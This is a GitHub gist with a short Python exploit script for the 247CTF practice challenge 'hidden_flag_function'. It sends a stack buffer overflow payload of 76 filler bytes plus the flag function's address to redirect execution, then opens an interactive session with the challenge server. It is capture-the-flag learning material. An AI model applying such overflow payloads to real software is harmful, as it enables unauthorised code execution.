-
-
Save 4n0nym4u5/579b3e1327cdac1c5bd3a2ac7e3afee0 to your computer and use it in GitHub Desktop.
247 HiddenFlagFunction
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# -*- coding: utf-8 -*- | |
# Author := 4n0nym4u5 | |
from rootkit import * | |
from time import sleep | |
exe = context.binary = ELF('./hidden_flag_function') | |
host = args.HOST or 'd7e65441cdbee03f.247ctf.com' | |
port = int(args.PORT or 50291) | |
gdbscript = ''' | |
tbreak main | |
continue | |
'''.format(**locals()) | |
libc=SetupLibcELF() | |
io = start() | |
re() | |
sl(b"A"*76 + p(exe.sym.flag)) | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment